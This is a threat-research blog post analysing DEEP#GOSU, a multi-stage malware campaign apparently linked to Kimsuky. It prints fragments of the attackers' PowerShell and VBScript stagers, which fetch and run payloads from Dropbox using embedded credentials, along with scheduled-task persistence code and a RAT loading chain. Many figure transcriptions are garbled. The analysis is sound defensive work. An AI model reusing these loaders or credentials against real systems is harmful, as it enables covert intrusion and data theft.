# Securonix Threat Research Security Advisory: Analysis of New DEEP#GOSU Attack Campaign Likely Associated with North Korean Kimsuky Targeting Victims with Stealthy Malware

X securonix.com/blog/securonix-threat-research-security-advisory-new-deepgosu-attack-campaign/



Blog

Threat Research

By Securonix Threat Research: D. luzvyk, T. Peck, O. Kolesnikov

#### tldr:

The Securonix Threat Research team has uncovered an elaborate multi-stage attack campaign likely associated with the North Korean <u>Kimsuky</u> group.



The Securonix Threat Research (STR) team has been monitoring a new campaign tracked as DEEP#GOSU likely associated with the Kimsuky group, which features some new code/stagers as well as some recycled code and TTPs that were <u>reported in the past</u>. While the targeting of South Korean victims by the Kimsuky group <u>happened before</u>, from the tradecraft observed it's apparent that the group has shifted to using a new script-based attack chain that leverages multiple PowerShell and VBScript stagers to quietly infect systems. The later-stage scripts allow the attackers to monitor clipboard, keystroke, and other session activity.

The threat actors also employed a remote access trojan (RAT) software to allow for full control over the infected hosts, while the background scripts continued to provide persistence and monitoring capabilities.

All of the C2 communication is handled through legitimate services such as Dropbox or Google Docs allowing the malware to blend undetected into regular network traffic. Since these payloads were pulled from remote sources like Dropbox, it allowed the malware maintainers to dynamically update its functionalities or deploy additional modules without direct interaction with the system .

The malware used in the DEEP#GOSU campaign likely enters the system through typical means where the user downloads a malicious email attachment containing a zip file with a single disguised file using the extension: pdf.lnk, (IMG\_20240214\_0001.pdf.lnk) in this case.

#### Stage 1: Initial execution: LNK files [T1204.002]

The use of shortcut files, or .Ink files by threat actors is nothing new. However, in the case of DEEP#GOSU, the methodology behind the code execution is quite different from what we have typically seen in the past.

First, as seen in the figure below, the length of the command is quite impressive and it's clear that the executed PowerShell is designed to perform several complex functions. Additionally, standing at about 2.2MB, it's clear that there is more to this shortcut file than what meets the eye.

Source file: C:\ANALYSIS\Kimsuky\samples\IMG_20240214_0001.pdf.lnk	
Source created: 2024-03-04 20:15:57	
Source modified: 2024-03-04 20:15:09	
Source accessed: 2024-03-04 20:17:01	
Header	
Target created: null	
Target modified: null	
Target accessed: null	
File Size (bytes): U	
Flags: Hashame, Hashrguments, HasiconLocation, IsUnicode, HasExpString, PreferEnvironmentPath	
File attributes: •	
ICON INDEX: 0	
Show Hindow. Shinowhindactive (Display the Hindow as Hindwitzed Hithdu attivating it.)	
Name: Type: Text Document	
Size: 5.23 KB	
Date modified: 01/02/2020 11:23	
Arguments:	
<pre>emp isecological system is inspiringly import import justice = temp/temp isecological inspiringly import justice = temp is temp i</pre>	
, 0, \$read);} mhile (\$read -gt 0);\$enc_bytes = \$memoryStream.ToArray();\$dec_bytes = AESDecrypt -bytes \$enc_bytes -pass \$pass;\$newString = [System.Text.Encodin	
g]::UTF8.GetString(\$dec_bytes);iex \$memString;\$memoryStream.Close();\$streamReader.Close();};\$receiveStream.Close();\$response.Close();*	- I.

Figure 1: IMG\_20240214\_0001.pdf.lnk - command line execution

The embedded PowerShell script contained within the shortcut file is designed to take byte data from itself, which extracts embedded files, AESDecrypt and executes further malicious code downloaded from the internet (/step2/ps.bin) and clean up traces of its execution. The use of encryption and cloud services for payload retrieval indicates some level of sophistication intended to evade detection and analysis. This type of infrastructure typically takes much more time to set up and maintain versus simply hosting files on rented servers.

Let's first analyze the reason that the shortcut file is over 2MB in size. Upon close analysis, the shortcut file appears to have an entire embedded PDF concatenated to it after tens of thousands of "A" characters. Those characters may be an attempt to pad the size of the file to evade AV detections.

The figure below demonstrates how this looks when using a hexadecimal editor to view the file's raw data. On the left, we can see the end of the shortcut code which calls cmd.exe (to eventually call powershell.exe) and the start of the sequence of "A" characters. Over on the left the A's terminate and the start of a PDF header appears!



Figure 2: Hex bytes of IMG\_20240214\_0001.pdf.Ink highlighting the embedded PDF file

So, the shortcut file has a concatenated PDF file attached to it. The PowerShell code contains a clever function that performs a few tasks. The PowerShell code below is taken from the code from within the shortcut file (figure 1) and then cleaned up a bit so it's easier to read:

\$\$\$\$\$\$\$ 5::::5 5::::5 5::::5 5:::5 5:::5 5:::5 5:::5 5:::5 5:::5 5:::5 5:::5 5:::5 5::5	<pre>Additional and a set of the set of the</pre>	<pre>uuuuuuukarkarkarkarkarkarkarkarkarkarkarkarkark</pre>	oocooooooooooooooooooooooooooooooooooo	INNINNIN N	NNINNNNTTTTTTTTTTOCOCOO	x x :::X ::: :::X::: :::X::: :::X::: :::X ::: :::X ::: :::X :: :::X :: :::: ::::::::: ::::::::::	000000X X:::::X :::X :::X ::X ::X
RRRRRRRRRRRR         R           RRRRR         R           RR         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R           R         R	<pre>} sc \$path ([byte[]]\$temp) -Encoding Byte write-host "exeend" \$temp = New-Object Byte[](\$file.Length-\$len3 for(\$i=\$len3; \$i -lt \$file.Length; \$i++) {     \$temp[\$i-\$len3] = \$file[\$i] } \$encData_b64 = Start-Process -FilePath \$path [System.IO.File]::Delete(\$lnkpath)</pre>	3) 1					
R::::::R R:::: R:::::R R:::: RRRRRRR RRRRR	RE SSSSSS SE RE:::::SSSSSS SE REEEEEEEEEEEEEEEEEEEEEEEEEEEEE	A A A A 	A:::::A R::: A:::::A R::: AAAAAAARRRR	CORRECTOR RECEIPT		:::H :::H HHHH	Н:::::Н Н::::::Ч ННННННННН

Figure 3: IMG\_20240214\_0001.pdf.lnk - extract PDF portion from itself

- This portion of the script extracts the PDF portion of the .Ink file's content based on specific byte positions which exists between byte values 2105824 and 2282653 (\$len1 to \$len2).
- The script writes out the progress at each operational task such as "readfileend", "exestart" and "exeend".
- The alias "sc" is used to instantiate a new object to hold the PDF file.
- This extracted content is then eventually saved to a new variable \$path, and then executed using the PowerShell Start-Process commandlet.
- The PDF content is then executed which will then open in the system's default PDF viewer which opens as "IMG\_20240214\_0001.pdf".
- All files are then deleted.

What makes this tactic clever is that there is technically no PDF file contained within the initial zip file sent to the victim. When the user clicks the PDF lure (shortcut file) they're immediately presented with a PDF file thus removing any concern that anything unexpected happened.

The PDF lure document is in Korean and appears to be an announcement regarding the son of Korean Airlines CEO Choi Hyun (the late Choi Yul) and states that the son has passed away due to a car accident. The rest contains details and dates of the funeral hall.



Figure 4: IMG\_20240214\_0001.pdf lure document

In addition to extracting and executing the PDF document, the shortcut file also executes the malware's next stage payload from a Dropbox URL (hxxps://content.dropboxapi[.]com/2/files/download/step2/ps.bin). Despite its name, the ps.bin file is actually another PowerShell script which we'll dive into later.

Since Dropbox requires authentication, all of the required parameters are embedded into the shortcut's original PowerShell script (figure 1). With the PowerShell code cleaned up, the portion of the script responsible for downloading and executing the next-stage payload (\$newString) is highlighted below.

\$5555555555555555555555555555555555555	<pre>sum statuteryst [ series ( [byte]]Bytes, [String][Bass_pass/buted') StaputStream = New Object System.10.RemorpStream(,Sbytes) SolpstSteam = New Object System.SolemorpStream Salt = New Object System.Sol</pre>	X000000 X1000X X1000X X1000X X X1000X X100X X1000X X1000X X1000X X10X X100X X1
S1000000000000000000000000000000000000	<pre>filestID = "Inspage/physic" feferalizer = "anAPIINSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</pre>	X::::X X00000X
BRARRARIA         R	if (freceiveStream - nor Soull) ( StreamStore - Nor dight: System.10.StreamBeader(ireceiveStream) StreamStore - Nor dight: System.10.NeuroyStream Stream - Nor dight: System.10.NeuroyStream Stream - Nor dight: System.10.StreamBeader(ireceiveStream) StreamStore - Norder(Stream Real(Stuffer, 0, Stuffer.Length)) StreamStores - StreamStores Fince.Net.Fince/Ing : StreamStores - Case() StreamStores - Stream - Stream(): StreamStores - Case() StreamStores - Case() Stores - Stores - Stores - Stores -	International Minimum         Minimum           International Minimum         International Minimum           International Minimum         Minim           Minim

Figure 5: IMG\_20240214\_0001.Ink – download and invoke next-stage payload from Dropbox

To sum up, the PowerShell script contained with the shortcut file is designed to silently find and execute the specifically crafted malicious .Ink file (itself), extract and execute the embedded PDF lure document, authenticate, decrypt and execute further malicious code downloaded from Dropbox, and then clean up traces of its execution. The use of encryption and cloud services for payload retrieval indicates a level of sophistication intended to evade detection and analysis.

## Stage 2: Invoked code from Dropbox [T1102]

At this stage, the initial shortcut file has downloaded and invoked a remote payload from Dropbox called ps3.bin. The PowerShell code contained within the .bin file defines a function (Load) that performs several operations which includes downloading, decompressing, and dynamically loading and executing .NET assembly code from a different Dropbox URL.

- Define a decompression helper function (GzExtract):
  - This inner function takes a byte array as input in the form of GZIP compressed data.
  - Decompresses this data and return the resulting byte array
- Dynamically loading .NET assemblies:
  - The script dynamically loads assemblies related to System.Drawing, System.Windows.Forms, and PresentationCore
  - This enables the script to use advanced graphical UI capabilities which have been used in the past for features such as screenshots or screen recording by <u>Dark Pink malware</u> among others.
- Authenticating with Dropbox and downloading next-stage remote payload:
  - Similar to the shortcut file's PowerShell script, it authenticates with Dropbox once again using a refresh token, client ID, and client secret to obtain an access token.
  - A file named r\_enc.bin is downloaded from Dropbox (stage 3).
  - After downloading the file, it attempts to decompress the payload using the GzExtract function defined earlier.
  - The script implies this payload is a .NET assembly in binary form, though compressed to evade detection.
- Dynamically loading and executing the .NET assembly:
  - It loads the decompressed .NET assembly into memory without writing it to disk which can help cut down AV detections.
  - It iterates through types and methods within the loaded assembly to find and invoke a specific method (makeProbe1). The invocation is commented out, but it suggests that the method would execute with a hardcoded parameter, which is partially shown and then truncated.
  - This dynamic loading and execution allow the malware to perform virtually any action the .NET framework supports, based on the code within the downloaded assembly.



Figure 6: Example of PowerShell ps.bin

In addition to the above the script also invokes a method on an object instance using reflection in PowerShell, with a parameter that appears to be a Base64-encoded string. The string can be seen in the figure below.



Figure 7: ps.bin PowerShell invokes next stage payloads

The \$method variable is set up and holds a reference to a "MethodInfo" object, which represents a specific method of a class. The "\$instance" variable contains the instance of the class which in turn contains the method you want to invoke. The string is encoded in Base64 and then passed as an argument to the method.

Since at this point the code is doing two pretty interesting things simultaneously, let's follow the loading and execution of "r\_enc.bin" from Dropbox further down (Stage 4) which is loaded from the following Dropbox URL:

hxxps://content.dropboxapi[.]com/2/files/download/step2/r\_enc.bin

We'll continue with the invocation of the new Base64 encoded method (Stage 4) further down.

## Stage 3: TutClient [C# RAT] (r\_enc.bin)

When analyzing the PowerShell script in Stage 2 we determined that the script once again reached back out to Dropbox and downloaded a compressed Base64 string. The file itself is indeed a binary file which can be easily confirmed using a tool such as CyberChef. If we place the large Base64 string (r\_enc.bin) inside the input field, select "From Base64" and "Gunzip", we see the MZ header and other common strings for Windows executables inside the output.

From Base64       II         Abstanding       Hds1AAAAAAAEALy9CWAcxbEwXLPH7K1jdqVd3Vp3lr221sLyKRsDlnXYwpIt5/LJ1a+llbVY0sizK9v         CvGq134724b134QhXXiE6Q031CIFAAAd1C0Fx30CEAAEEkgcvIS8hif1XVc/HHLy8t73Fb-Tgemqruu         Gurq6uru7pF21bD41VA624nDg88DCIfyvgv/83iU9u5bdz45HXC1UP5x0vVPU0xR0hMU3doUMQv3R0         VE16doeC2njo6H4aAkh1XU908B211efku6fodX51AnRTvjjjixtxx095fQ)V4pHkALyHiP519HyE1U005         OHa1uQS311hhcR040wFwR8/9Tb/PF/yJY7z09C5H1Nk0i/PM3AGK/gS55Q05q3MivjoNr0/ G91bxf21efku6fodX51AnRTvjjjixtxx095fQ)V4pHkALyHiP519HyE1U005         Glara         Strict mode         VE16doeC2nj06H4aAbiXU9082CIfxz1J2U/110053V5000TNED01Q11arGEi/E1166hgY/27Vs         Avx1Mrx5KVKMW5Nj0HcVF62VLE5XKvK4112KxKv13BKxVr040D18K391t4ct+3A0c9EheHz7A6SVA04hkali         7yPu1143z0dvFh7019Cn81bkv01Ckxz1J2U/110053V5000TNED01Q11arGEi/E1166hgY/V27Vs         Avx1Mrx5KVKMM5Nj0HcVF62VLE5XKvK4112KxKv13DkxVr040D01KED0Q11KaGEi/E1166hgY/V27Vs         Avx1Mrx5KKMF5KMM5Nj0HcVF62VLE5XKv4112KxKv13DkxVr040D01KED0Q11arGEi/E1166hgY/V27Vs         Avx1Mrx5KKMF5KMM5Nj0HcVF62VLE5XKv4112KxKv13DkxVr040D01KED0Q11arGEi/E1166hgY/V27Vs         Avx1Mrx5KKMF5KMM5Nj0HcVF62VLE5XKv4112KxKv13DkxVr040D01KED0Q11KaGEi/E1166hgY/V27Vs         Avx1Mrx5KKMF5KMM5Nj0HcVF62VLE5XKv4112KxKv13DkxVr040D01KED0Q11arGEi/E1166hgY/V27Vs         Avx1Mrx5KKMF5KMM5Nj0HcVF62VLE5XKv44112KxKv13DkxVr040D01KED0Q11arGEi/E1166hgY/V27Vs         Avx1Mrx5KKMF5KMM5Nj0HcVF62VLE5XKv12HF5KM11KxKr040D01KED0Q11arGEi/E1166hgY/V27Vs	Recipe			Input	UUUUUUURRERERERERERERERERERERERERERERER	00000000 NNNNNNN 00::::::::00 N::::::N	+ 🗅 🕀	]
Abstabilit       Augustabilit         A-Za-ze-9+/=       FilledoteCryptic/BillyDooB211eftkub/codxS1anRU1jijStub/sofAptklalytiiFill9HpE1UuoS000000000000000000000000000000000000	55555 555555 555555 555555 555555 55555 From Ba	ase64	0 11	H4sIAAAAAAA CYGQI4SY24b	EALy9CWAcxbEwXLPH7K1jdq IJ4QhXXiCBQBJICIFAAAdIC	Vd3VpJlr221sLyKRsDlnXY OFxJOCEAAkEkgcvIS8hif1	wpItS/LJIa+llb XVc/MHlLy8t73f	oVYØsizK9v b+Tqemqru
Billa TugoSti LihkeReidow/Fw/Rei/97b//PF/y7V720020%strt PJ2krgi (/PH3AGX/g655SQ553Q543Hiti jdnv/d/ G9ibxfe2Ler9eAlPutCq2Hs3rk/TQjbsmxtfL2fyrcD/12ux/bVfVId118GxXkwrs8Xc9pF4r+bm7e AdB3hv@jzgby/37a/1/ma8V5xKo#m84bp3LReidoxJBkxytf4c4-JAoqebet2AS5XbV0Hikk1 J7yPuL114J2DdVrh7019CnB1bkvo1Ckxz1J2UI/ITUSOS3V5000INED1QLiIarGEI/E116GhgV/V2Tvs advrr1Mrx5VRLMHskijbdRvcF62VLE5XNck4H112K4xD41Xb42CbJ1DdVh0Dk1bkmHiow4hUU7B5tVbCJMbkes hzK63UbfCHrk2pazK4F3DVVcO23VF0P1QDf01D61g15aa4Vi20xc20ybJ8Uga37Uh12K63/J08WxTu was 35224 ₹ 1         Gunzip       II       Output 2:       Image: Control of the second s	SSSS A-Za-	et 20-9+/=		6urq6uru7pF VE1GdoeC2nj	Z1bD41VAGz4nDgB8DC1†yvg o6H4aKh1XU9oRB2I1efkuGf	v/831U9u5bdz4SHXC1UPSx odXS1AnRIVjjjixUxo95fQ	@vVPUOxROhMU3d jV4pHkALyHiFbT	IoUVHQv3RØ [9HyEIUUoS
Gunzip       II       Output ※       III       IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII	Ren char			01HaIuQGSL1 G9ibxfe2Ler AdB3hvQmjZB 7yPuL114JzD aMxr1Wrx5VR hzK63UbfCUr	hhcR040WFwPk8/9Tb/PF/y 9eAlPutCq21WsJrR/TQjbam yD/i701/nnNaBVSKok9mAF ydrh7019CnBlbkvoICkxz1J LMMsNjbdRvcF62VLE5XNckW kZpazcNG+3VDYvcOz3YOfqp	<pre>&gt;</pre>	AGX/gk5S5QDSq3 I18GxKXwrs8Xc9 d+JAoQeBwBtZA6 LiIarGEi/E116G bKmMiowMu1U7BS RUgar31Vn1xGA4	MivjoNr0/ PpF4r+bm7e SSVAD4hWk1 ShgY/V2TVs StVbKJWWes IjJ08VmXru Bytes ~ L
М27 челуствания изполнания ўўская, каканального на на сельская на начала нача За начала нача «Онима на начала н начала начала на	Gunzip		0 11	Output 🏅	¢.		86	គេខ
	RRRRARI 1911111 191111 19111R R1111R R1111R			MZ + NOVE THE NUMBER AND AND MARKEN AND AND AND AND IN DOS model \$1000 AND AND AND AND AND ~Onleaded and and and MULTIME AND AND AND AND	на соттиски или буў бала ада, а касаласа нача кала ал малала ала сала нача вала бала вала «тала але сала 500 • с са с са па ала DE мала ала L солествана, [ + е 5 е мал але на ала ала сала солнага нача на фала вала вала нача нача кала ала сала солнага нача на фала вала вала нача нача кала ала сала солнага нача на фала вала вала нача нача	а ман каз фал нас ман ман ман ман ман ман ман ман 91 ° 200 ман (11, 500 L Î I This ман ман ман ман ман дан (10, 71 500 б Уурама ман даржан ман дан ман ман ман ал	NOLINGI, MIR WILLIGT, NOLING, NOLIN Program canno Benne Öndentelinde, ff nolin Nith Nith Nith Noling and Nith Same Nith Nith Nith Nith Nith Nith Nith	ut not not nut nut it be run nut nut nut nut nessimut nut sta nut nut nut star

Figure 8: Decoding r\_enc.bin in CyberChef

The decompressed binary file ends up being an open source RAT (remote access trojan), known as TruRat, TutRat or C# R.A.T. which generates a commonly named client called TutClient.exe.

As the name suggests, the RAT is coded in C# and is open source. Since the source of the application can be found online, we won't go too deep into the binary code analysis portion as it's <u>available online</u>, but rather discuss its capabilities.

		_			
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS		pestudio 9.55 - Malware Initial Assessment - www.x	vinitor.com -		and the second se
<pre>\$</pre>		file settings about			
S:SSSSSS:SF	E CC	■ E × II 8			
S:::::S SSSSSSEE:::::EEEEEE	EEE::::E C:::::CCCCCCCC::::CUU:::::		property	value	
	EEEEEEC:::::C CCCCCC U:::::	<ul> <li>M indicators (libraries &gt; flag &gt; name)</li> <li>O functional &gt; 100 *</li> </ul>	footprint > sha256	617A4A83E7F810A4A98	F993CDFE4D83946F0D71D50C8C8D418513D9D40E7DF74
		Q Teotphines (count > 10) -	first-bytes > hex	4D 5A 90 00 03 00 00 00	104 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00
S::::SSSS E::::EEEEE	EEEEE C:::::C U:::::	dos-header (size > 64 bytes)	first-bytes > text	MZ	
SS:::::SSSSS E:::::::		dos-stub (size > 64 bytes)	hie > size	5/344 bytes	
		D D : i ch-header (n/a)	sizoatura	5.520 Microsoft NET	
SSSSSS::::S E:::::EEEEE	EEEEE C::::C U:::::	D D file-header (executable > 64-bit)	tooling	0/8	
		O D directories (stamp > Oct.2023)	file-tupe	executable	
	EEEEEEC:::::C CCCCCC U:::::	U sections (count > 3)	SEN .	32-bit	
SSSSSSS S::::SEE::::EEEEEE	EE::::E C::::CCCCCCC::::C U:::::		subsystem	GUI	
S:::::SSSSSS:::::SE::::::			file-version	1.0.0.0	
S::::::::::SS E::::::::		- Q exports (n/a)	description	TutClient	
SSSSSSSSSSSSSS EEEEEEEEEEE	EEEEEEE CCCCCCCCCCC I	NET (namesnare > flan)	damer		
	TTTTTHHHHHHHHH HHHHHHHRRRRRR	RRRRRRRR 2)	compiler-stamp	Thu Oct 05 11:30:35 20	23   UTC
		-ate strings (count > 2105)	debug > stamp	Thu Oct 05 11:30:35 20	23   UTC
		- II debug (stamp > Oct.2023)	resource-stamp	n/a	
		<ul> <li>mannest (level &gt; asinvoker)</li> <li>(if varion (Original Elegande &gt; Tut/ Sect era)</li> </ul>	import-stamp	n/a	
		And the second s	export-stamp		
pestudio 9.55 - Malware Initial Assessment - www.wir	hitor.com - [	1			
file settings about				0/a	
₽ X ± ?				TutClient.pdb	
⊖	indicator (20)	detail	les	el Mulanication ann	
—.iii indicators (libraries > flag > name)	libraries > flag > name	Windows Management Library	1	TutClient.exe	
gy footprints (count > 10) *	imports > flag > count	61	1		
->> virustotal (error)	.NET > namespace > flag	System.Security.Permissions, System.Security, System.Net.So	ckets, Syst 1	A:::::A T	
— > dos-header (size > 64 bytes)	groups > API	input-output, windowing, console, execution, memory, cryp	tography, f 2	A:::::A T	
dos-stub (size > 64 bytes)	libraries > p/invoke	user32.dll, winmm.dll, User32.dll, Kernel32, kernel32.dll, adva	pi32.dll, Ad 2	A:::::A T	
<ul> <li>Fis bandes (messidable &gt; 51 bit)</li> </ul>	imports > p/invoke	28		AAAAAAAT	
<ul> <li>internedier (executable &gt; ov-bit)</li> <li>ontional-baseder (subsystem &gt; GUD)</li> </ul>	mitre > technique	T1001, T1055, T1497, T1106, T1057, T1027, T1056, T1018, T1089	T1079, T10 2	URRR <b>RRRR</b>	сссссссссскинниннин иннинини
directorier (stamp > Oct 2022)	file > entropy	5.526		::::::::::::::::::::::R	ССС:::::СН::::Н Н:::::Н
sections (count > 3)	file > signature	Microsoft .NET		CRRRRR::::::R	СС:::::СН:::::Н Н::::::Н
Sibraries (flag > 1) *	file > footprint	617A4A83E7FB10A4A9EF993CDFE4D83946F0D71D50C8CBD41	8513D9D40	< R:::::R	С::::ССССССС:::СНН:::::Н Н:::::НН
	file > size	57344 bytes		R:::::R	C:::::C CCCCC H::::H H::::H
- concerns (n/a)	security > protection	data-execution-prevention (DEP) > ON		<r:::::rc< th=""><th>на на н</th></r:::::rc<>	на н
thread-local-storage (n/a)	security > protection	control-flow-guard (CFG) > OFF		COODOCTITIK C	·····C #·····
- 🔄 .NET (namespace > flag)	security > protection	address-space-layout-randomization (ASLR) > ON		LOODDD LOODD C	
— is resources (count > 2)	manifest > name	MyApplication.app		OOOOOK:::::R C	······
-abc strings (count > 2105)	file-name > version	TutClient.exe		REFERENCE REFERENCE	на н
一章 debug (stamp > Oct.2023)	debug > file-name	E\horse\work\virus\source\rat\c#\trurat\0206_backup\C-Sh	arp-R.A.T	R:::::RU	
— imanifest (level > aslnvoker)	file > subsystem	GUI		R R	
—is version (OriginalFilename > TutClient.exe)	imphash > md5	F34D5F2D4577ED6D9CEEC516C1F5A744		R:::::R	
-Operative (n/a)	.NET > module > name	TutClient.exe	0	Distance in the	
- overlay (n/a)				00 10000	
				AP-CRICK	соссоссоссоснийнийнийн Анининий

Figure 9: C# RAT executable client overview

Currently this particular RAT software is quite old and likely to be picked up by most antivirus vendors. However, given the unique method in which this binary is loaded and executed directly into memory (stage2), it's likely to skirt some detections.

Execution of the payload in memory, also known as "fileless" execution, is a technique used by attackers to evade detection by traditional file-based antivirus solutions. Since the payload does not touch the disk, it leaves fewer traces, making it harder for security tools to detect and mitigate the threat.

According to the C# Rat's GitHub page, the malware supports a wide range of features including:

- Keylogger
- Remote desktop
- Mic and cam spy
- Remote Cmd prompt
- Process and file manager
- Fun menu (hiding desktop icons, clock, taskbar, showing messagebox, triggering Windows sound effects)
- DDoS with target validation
- Password manager (supporting: Internet Explorer, Google Chrome, Firefox)

Interestingly enough, this is not the first time that we've seen this RAT used against Korean targets. A year ago the <u>Kimsuky group was identified</u> delivering TutRAT and xRAT payloads through other methods.

# Stage 4: VBScript execution (invoked code from stage 2) [T1059.005]

Circling back to Stage 2, if you recall, we observed a large Base64 encoded string getting invoked. After decoding the string we reveal a VBScript code segment which once again is designed to connect back to Dropbox by interacting with specific web APIs.

		Function GetValueFromJSON(jsonString, key)		
\$\$\$\$\$\$	SSSSSSS EEEEEEEEEEEEEEEEEEEEEEEEEEEEEE	Set regex = New RegExp	XXXXXXXXX	XXXXXXXXX
55::::::::	eee	regex.Pattern = """" & key & """:\s*""([^""]*)"""	·····	X::::X
S S	\$\$\$\$\$\$\$\$\$FF:::::FFFFF	regex.IgnoreCase = True	·····X	X:::::X X::::X
	E::::E	regex.Global = False	::::I XXX:::::X X	(:::::XXXX
			::::I X::::X X:	
S::::SSSS	E:::::EEEE	Set matches = regex.Execute(isonString)		
55:::::5	SSSS E:::::::	If matches.Count > 0 Then	X X X X X X X X X X X X X X X X X X X	:::X
2222	SSILLS FILLER	GetValueFromISON = matches(0) SubMatches(0)		····X
			::::I X::::X X:	
				(::::::)000
\$\$\$\$\$\$	S:::::SEE:::::EEEEE	GetValuerromJSON =		
5:::::55555	SS::::SE:::::		·····X	X::::X
\$222222222	SSSSS FFFFFFFFFFFFF	End Function		XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
	TTTTTTTTTTTTTTTTTT			
		Const client_id = "lnspmqgrf9y5n8c"		
		Const client_secret = "u93rurljxj2xngw"		
	T::::T	Const refresh_token = "aKWMaTHSPKAAAAAAAAAAAAZGbhNcfyeIIBjK9v5cxLTv1KM5hvq9_7HrfZ9Jaxn6m"		
		<pre>Const token_url = "https://api.dropboxapi.com/oauth2/token"</pre>		
		Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")		
		<pre>postBody = "grant type=refresh token" &amp;</pre>		
		"&refresh token=" & refresh token &		
		"&client id=" & client id &		
		"&client serret=" & client serret		
		objHTTP Open "DOST" token un False		
		objHTTD setPequestHeader "Content_Type" "application/v-waw-form-unlencoded"		
	T::::::::	objitt set and and the content type, application/x-www-torm-unitencoded		
88888888888888				
R	CONTR ELECTRET	Tespoiserext = 00 mmP.respoiserext	ССН	HILITIA
R:::::RRRR	RR:::::R E::::::	Trobjelle.status = 200 men		
		ACCESS_TOKEN = GetValuerFomJSON(Pesponselext, "access_token")		
	R:::::R E::::E	End It		
K::::R	R:::::K E::::E	'download module	HEESER	H:::::H
R		Const HTTP_METHOD = "POST"	Hereiter	
R::::RRRR	RR:::::R E:::::	Const DROPBOX_API_ENDPOINT = "https://content.dropboxapi.com/2/files/download"		
		'Const ACCESS_TOKEN = "sl.Bas9oVewMRPp5pZMIA-mYZOA0cUnxr8F_D9XRt0zHtD3IdIOw2e-AmAfQF-xQE	H:::::HH	HHH:::::H
		Const REMOTE_FILE_PATH = "/step2/info_sc.txt"		
R::::R	R:::::R E::::E	objHTTP.Open HTTP METHOD, DROPBOX API ENDPOINT, False	CCCCCC H:::::H	HILITIN
RR	R	objHTTP.SetRequestHeader "Authorization", "Bearer " & ACCESS TOKEN	CHARTER	HH
R:::::R	R:::::RE:::::	obiHTTP.SetRequestHeader "Content-Type", "application/octet-stream"	CONTRACTOR	Harristen
RRRRRRR	RRRRRREEEEEEEEEE	objHTTP SetRequestHeader "Drophox-APT-Arg", "{""ak REMOTE FILE PATH & """}"	ссссссснининини	никинник

Figure 10: Stage 4 VBScript execution – download info\_sc.txt from Dropbox (from stage 2)

The next stage is downloaded from Dropbox in the same manner we observed during the last several stages. Using a unique client ID, refresh token and secret, the file "info\_sc.txt" is downloaded from the URL:

hxxps://content.dropboxapi[.]com/2/files/download/step2/info\_sc.txt

Once the file is downloaded, it is written to a VB Stream object then switches the stream's type to text and reads it as a UTF-8 encoded string. This is a method to convert binary data (the downloaded file content) into a readable string.

The crucial part of this script is the "Execute" statement, which executes the string read from the stream as VBScript code. This means the downloaded content is not just data but executable code, which makes the purpose for Stage 4 run arbitrary VBScript code fetched from Dropbox.



Figure 11: Stage 4 VBScript execution execute downloaded code

With the code downloaded from Dropbox, parsed and then converted, it's placed inside "convertedString" and then executed.

Lastly, the script dynamically writes a PowerShell file on the disk and then executes it (Stage 7). This file was written to:

c:\users\[redacted]\appdata\roaming\microsoft\windows\w568232.ps1

Originally the script dropped the file named w568232.ps12x , however it was immediately renamed to w568232.ps1 using the following command:

cmd /c rename c:\users\[redacted]\appdata\roaming\microsoft\windows\w568232.ps12x w568232.ps1

#### Stage 5: VBScript execution (info\_sc.txt) [T1059.005]

If you thought at this point we were done with Dropbox stages, you might be right, depending on the OS version the victim system is running. But for now, a closer look at this script reveals several indications of more traditional malware such as persistence indicators and WMI (Windows Management Instrumentation) activity.

The script is quite complex, though it did not feature any form of obfuscation which needed to be decoded. Let's go over some of the more interesting routines and functions to better understand its capabilities.

#### WMI Execution [T1047]

At the beginning of the script there is a WMProc Subroutine which uses WMI to execute commands on the system. It takes a single parameter p\_cmd which specifies the executable or script that is launched by the WMI service.

Additionally, there is a commented out line with instructions to download, save and execute a remote .hwp document file. Kimsuky <u>has been known to use disguised hwp files in the past</u>, so this could be an artifact of an older attack chain. The commented out line references a remote server at regard.co[.]kr, however we did not observe any network communication to that domain throughout the course of the DEEP#GOSU campaign.



Figure 12: Stage 5 VBScript execution - WMProc and TF functions

#### Scheduled tasks [T1053]

The TF function works with the Reg and Reg1 subroutines which are used to schedule tasks on the system. Additionally, the TF function formats a timestamp for scheduling, and the Reg subroutine actually schedules a new task. This task is configured to execute a script or command at a later time, ensuring that the malware maintains persistence on the system.

\$\$\$\$\$\$\$\$\$ \$5:::::\$555555 \$:::::\$ \$::::5	SSSSSS         EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE	CCCCCCCCCCCCCCUUUUUUUUUUUUUUUUUUUUUUUU	UUUUUUURRRRRRRRRR UUR UURRRR UURRRR UURRR	RRRRR         00000000           RR         IR         00         III           RR         IR         00         III         III           R         IR         III         III         III         III           R         III         III         III         III         IIII         IIII	0 NNNNNNN :00 N : N : 00 N : N : 00 N : N : 00 N :	NNNNNNIIIIIIIIII00000000           N:         :NI:         :IX:         :X           N:         :NI:         :IX:         :X           N:         :NI:         :X         :X           N:         :NI:         :X         :X           N:         :NI:         :X         :X	XXXXXXXXX X::::X X::::X X::::X X:::X
5:::::5 5::::5 5::::5 5:: 5::5 5::5 5:	<pre>ub Reg(path) Set 39 - Crostschbject("Scht Set 104 - ev. NewTask(0) tbef.RegistrationInfo.Auth With tbef.Settings .tnabled=True .startMenAvailale=Tru- .tidden=True End Mith StartBoundary = Tf(Os .Enabled=True .End StartBoundary = Tf(Os .Enabled=True .Regetiion.Interval = End Mith with tbef.Actions.Create(0) .PathAct</pre>	Hdule.Service") or = "Hicrosoft" ve seddd("n",2,Now)) "PT3H" hoript " & path hition(nn, tDef, 6, , , 3)					
